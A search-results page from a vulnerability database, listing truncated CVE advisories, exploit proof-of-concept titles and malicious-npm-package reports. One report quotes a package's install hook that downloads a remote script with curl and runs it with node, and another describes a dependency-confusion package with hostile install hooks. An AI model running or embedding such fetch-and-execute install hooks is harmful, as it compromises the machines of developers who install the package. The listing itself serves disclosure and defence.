20915 matches found
CVE-2026-47386
NocoDB is software for building databases as spreadsheets. Prior to 2026.05.1, two concurrent token-exchange requests using the same OAuth authorization code could each mint a distinct valid accesstoken, refreshtoken pair, breaking the single-use guarantee that PKCE relies on. This vulnerability ...
Exploit for CVE-2026-11834
CVE-2026-11834 PoC TP-Link DHCP Option 66 Unauthenticated RC...
Exploit for CVE-2026-45156
CVE-2026-45156: Nextcloud useroidc ID4me JWT Signature Bypass...
Exploit for CVE-2026-8461
CVE-2026-8461 PoC !WARNING This PoC is...
GHSA-WMFG-5P4H-5FW3 Gogs allows users to write to readonly repositories using receive-pack + service=git-upload-pack confusion
Summary Git smart HTTP authorizes POST âŚ/git-receive-pack using the client-supplied service query string so ?service=git-upload-pack is evaluated as read access while routing still runs git receive-pack, allowing push where only read should be allowed. Details Gogs' Git Smart HTTP handler for...
CVE-2026-55555
creationtimestamp| type| source ---|---|--- 2026-06-23 14:34:07+00:00| published-proof-of-concept| https://hakaisecurity.io/explorando-geradores-de-pdf-0-days-em-90-milhoes-de-alvos-por-mes/research-blog 2026-06-23 14:34:07+00:00| published-proof-of-concept|...
exploit-arsenal
CVE Proof-of-Concept Collection Clean, dependency-free Pytho...
exploitarium
Exploitarium A consolidated archive of my public proof-of-con...
Exploit for CVE-2020-11651
This is an updated verison original...
MAL-2026-6265 Malicious code in sn-internal-testjgsakjdkjadkjah (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector fd1a751946e8be92bbd0b675c57b3389e1e54919a69f5f6fef414a16cc2f1261 package.json declares a preinstall lifecycle script that runs curl https://poc.amanrawat.com/hehe.js -o index.js && node index.js. On npm install, th...
GHSA-G9FX-5R4H-PCW3 motionEye has an Arbitrary File Read via Path Traversal in Picture/Movie Preview Endpoint
Summary motionEye v0.43.1 latest stable is vulnerable to path traversal in the picture and movie API endpoints, like /picture/id/preview/filename. Neither the API handlers, nor the mediafiles.py functions like getmediapreview check for .. sequences in the filename parameter, except getmediaconten...
MAL-2026-6264 Malicious code in search-from-feed (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c9291507e6e48bff8b92fcd9dd1f51345077f59aae2692f3d7ca84a8c0581b04 [email protected] is a dependency-confusion attack package. package.json declares both preinstall and postinstall as node callback.js, so the...
CVE-2026-33731
creationtimestamp| type| source ---|---|--- 2026-06-22 14:00:57+00:00| published-proof-of-concept| https://github.com/WWBN/AVideo/security/advisories/GHSA-95jh-7r58-xmxw...
CVE-2026-33684
creationtimestamp| type| source ---|---|--- 2026-06-22 14:00:15+00:00| published-proof-of-concept| https://github.com/WWBN/AVideo/security/advisories/GHSA-8j8m-p79x-g4jm...
Exploit for Deserialization of Untrusted Data in Facebook React
CVE-2025-55182-POC React2Shell POC Usage: bash sudo p...
Exploit for CVE-2026-47729
đŚ CVE-2026-47729 - Squidbleed â ď¸ Heartbleed's...
CVE-2026-44179
creationtimestamp| type| source ---|---|--- 2026-06-21 19:03:12+00:00| published-proof-of-concept| https://github.com/xwikisas/xwiki-pro-macros/security/advisories/GHSA-w56x-9778-rppx...